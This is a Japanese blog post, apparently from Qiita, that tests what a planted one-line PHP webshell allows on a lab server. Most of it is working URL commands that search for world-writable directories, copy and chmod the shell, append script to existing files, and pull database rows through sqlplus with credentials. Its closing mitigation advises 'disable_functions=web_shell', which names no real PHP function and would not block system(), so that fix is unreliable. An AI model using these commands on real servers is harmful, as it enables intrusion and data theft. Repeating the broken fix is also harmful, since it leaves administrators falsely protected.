Qiita Teams that are logged in
You are not logged in to any team

Log in to Qiita Team
Community
OrganizationEventAdvent CalendarQiitadon (β)
Service
Qiita JobsQiita ZineQiita Blog
21
Help us understand the problem. What is going on with this article?

More than 1 year has passed since last update.

@WhatRune

webshellで出来ることの検証

はじめに

もしweb上でshellが実行できてしまったら・・・?
改めて脅威を認識するためにwebshellで出来ることを検証しました。

とても恐ろしいですので、出来ても悪用しないようにお願いします。
※注 テストサーバであっても外部公開されている環境で行なわないで下さい。

前提条件

前提条件として管理しているWebサーバ上に、下記のファイルが置かれてしまった。
という想定の元で検証を進めます。

webshell.php
<?php system($_GET["cmd"]);?>

このようなファイルが置かれてしまうことは・・・往々にしてありますね
もし見つけたらgrepして今すぐ削除して下さい。(笑)

正直な話、対策がされていない状態で、こんなファイルが置かれてしまった時点で何でも出来てしまいます。
なので今回はgetパラメータで出来る事に重きを置いて検証します。

検証開始

では実際に検証していきます。
簡単なものから試して、最後に応用してみましょう。

Step1 検索コマンド

pwdlsfindといった検索系のコマンドを主に検証してきます。

カレントディレクトリの取得

pwdでカレントディレクトリを取得してみましょう。

http://192.168.1.29/test/webshell.php?cmd=pwd

image.png

ディレクトリは残念ながら見せられませんが、カレントディレクトリが取得できます。

ディレクトリ一覧の取得

次に一覧を取得するlsを試してみます。
-laオプションも付けて実行してみましょう。

http://192.168.1.29/test/webshell.php?cmd=ls -la

image.png

正常に取得できますね。ブラウザ上で見ると<br>が無いので改行されないのでしょう。
ソースで見れば綺麗に取得できていることがわかります。

image.png

ファイルの検索

cdは出来てもあまり意味が無さそうなので、
findでファイルの検索が出来るか検証してみましょう。

http://192.168.1.29/test/webshell.php?cmd=find ./ -name "webshell*"

image.png

検索も問題なく出来そうですね。
パーミッションで閲覧が出来なければ問題ありませんが、
細かく設定していない場合は脅威になりそうです。

Step2 操作コマンド

Step1では検索系を主に検証してきました。
続いては操作系のvichmodechocpを検証していきます。

ファイルの書き込み

まずはviから検証進めていきます。

http://192.168.1.29/test/webshell.php?cmd=vi webshell.php

image.png

想定通りでしょうか。
エディタが開くコマンドや対話型のコマンドはWebベースだと上手く行かないようです。
ポーリングしているわけでもないですので、当然と言えば当然ですね。

1行でかければ対象行を書いて保存。なんてこともできるかも・・・?

ファイル権限の変更

次にchmodで権限を変更してみます。

http://192.168.1.29/test/webshell.php?cmd=chmod 777 webshell.php

画面上では何も確認出来ませんでしたので、lsで確認してみましょう。
image.png

ふむ・・・権限変更がされていません。
おっと、よく見るとディレクトリ自体にrootでも書き込み権限がありませんね。

ファイルがあげられた時点で書き込み権限はあると思いますが、
今回は試しに書き込み権限がある場所を探してみましょう。

xargsを使って指定ディレクトリを全て見るのも良いですが、
折角なのでfindを使用してパーミッションがゆる~いディレクトリを探してみましょう。

http://192.168.1.29/test/webshell.php?cmd=find ../../ -type d -maxdepth 1 -ls  -perm /777

ディレクトリは全部舐めても構いませんが、重いので2~4階層を狙ったほうが良いかもしれません。
-type dでディレクトリに絞り、-maxdepth 1で1階層に絞ります。(実際はつけなくて良いです。)
-perm /777でそれぞれ権限7が付与されているものを検索!

image.png

全っ然見せられませんが!
権限が許そうなフォルダを見つけることが出来ました。

ではゆるふわディレクトリに対してcpでコピーが出来るか試してみましょう。

http://192.168.1.29/test/webshell.php?cmd=cp webshell.php ../../_XXXXX/webshell.php

画面には何も返ってきませんので、lsで確認してみましょう。

image.png

出来ちゃいますね~。
ここならchmodで権限を返ることも出来るのではないでしょうか!
実行してlsで確認してみましょう。

http://192.168.1.29/test/webshell.php?cmd=chmod 777 ../../_XXXXX/webshell.php

image.png

当然、出来てしまいますね。
書き込み権限があったほうが便利ですので、此処から先の検証はコピーしたファイルとディレクトリを
媒体にして進めていきます。

文字出力&ファイルの書き込み

気分を変えてechoを検証してみましょう。

http://192.168.1.29/test/webshell.php?cmd=echo Hello!

image.png
文字が表示できました!!(違)
単純に文字が表示できてもって話ですので、ファイルに文字が書き込めるか試してみます。

http://192.168.1.29/test/webshell.php?cmd=echo Hello! >> ../../_XXXXX/webshell.php

lessで追記されているか見てみましょう。
image.png

お、おお・・・ちゃんと追記されています。
これで、既存のファイルに対してScriptを埋め込むことも可能ですね。

しかもlessすると外部公開していない場所のphp等々を
ブラウザで出力することが可能ですね・・・。

非公開ディレクトリのファイルをブラウザで出力することが可能!

Step3 DB操作コマンド

最後にDB接続できるか検証していきます。
一番面倒くさそうなOracleで検証していきましょう。

Oracleの場合だと、インストール時にSQLPlusがインストールされていることが多いです。
SQLPlusがインストールされてなかったら諦めましょう。

http://192.168.1.29/test/webshell.php?cmd=sqlplus user/passwd@dbname

画面上で何も返ってきませんね。
上記にも書きましたが対話型は厳しいのでしょうか・・・?

良くあるrootで-bash権限がないってパターンでしょうかね。

ないなら直接叩けばいいじゃない!!!

ということでfindでも何でも良いのでsqlplusの場所を探しましょう。
ディレクトリを絞りつつやらないと、timeoutになりがちですね。

/XXX/bin/sqlplus

SQLplusのディレクトリを見つけましたので、早速試してみましょう。

http://192.168.1.29/test/webshell.php?cmd=/XXX/bin/sqlplus user/passwd@dbname

image.png

接続さはされるけど同時に切断されてしまうようです。

応用編 DBからデータを取得

検証も終盤を迎えました。これからが本番です。

接続出来るだけでは役に立ちませんので、
今まで検証してきたものを合わせてDBからデータを取得を試みます。

此処でひとつの仮説を立ててみました。

1コマンドで接続、SQL文の発行まで出来ればSQLの内容を取得できるのではないか?

実現可能かどうかを調べると、echoと組み合わせることで発行することが出来そう。
早速、組み立てて実行してみます。

http://192.168.1.29/test/webshell.php?cmd=echo select * from dual; | /XXX/bin/sqlplus user/passwd@dbname

echoでSQL文を記述。パイプでDBに接続します。
いけそうな気がしてきましたね。実行!!

・・・

画面から返ってきません。
接続が成功していれば先ほどのように接続しましたという情報が出るはずなので、
何かしらの構文が間違っている可能性があります。

・・・

*が怪しいですね。もしかするとSQL文が発行される前にどこかでエンコードされてしまうのでしょうか。
試し記号をエスケープして実行してみます。

http://192.168.1.29/test/webshell.php?cmd=echo select '*' from dual ';' | /XXX/bin/sqlplus user/passwd@dbname

sqlplusの-sはサイレントオプションで接続情報が表示されなくなります。

image.png

余裕でしたね。(1時間くらいかかりました。)
接続してDBから取得することが出来ました~。

対策方法

全てを防ぐということは難しいと思いますが、
まずは権限を見直すことでしょうか。

ただ、私が途中でパーミッションを検索したように一つでも漏れがあれば、
権限がある場所から如何様にも楽しむことができてしまいます。

もう一つの対策としてphpの設定でwebshellを制限掛けることが出来ます。

php.ini
disable_functions=web_shell

systemコマンドは殆ど使うことが無いと思いますので、
disableにしてしまって良いと思います。

もし現状で公開しているサーバで使用してしているのであれば仕組みに問題があるため、
使用しない作りに修正するべきです。

まとめ

今回は自分の知見を深めるために、何処まで出来るのかを検証しました。
何がやれるのかをある程度把握できれば、アラートがあげやすいのではないでしょうか。

冒頭にも申し上げましたが、こんなファイル上がった時点で終わりです(笑)
何でも出来てしまいますので、手遅れになる前にセキュリティ意識を高めていきたいですね。

21
Help us understand the problem. What is going on with this article?
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
21
Help us understand the problem. What is going on with this article?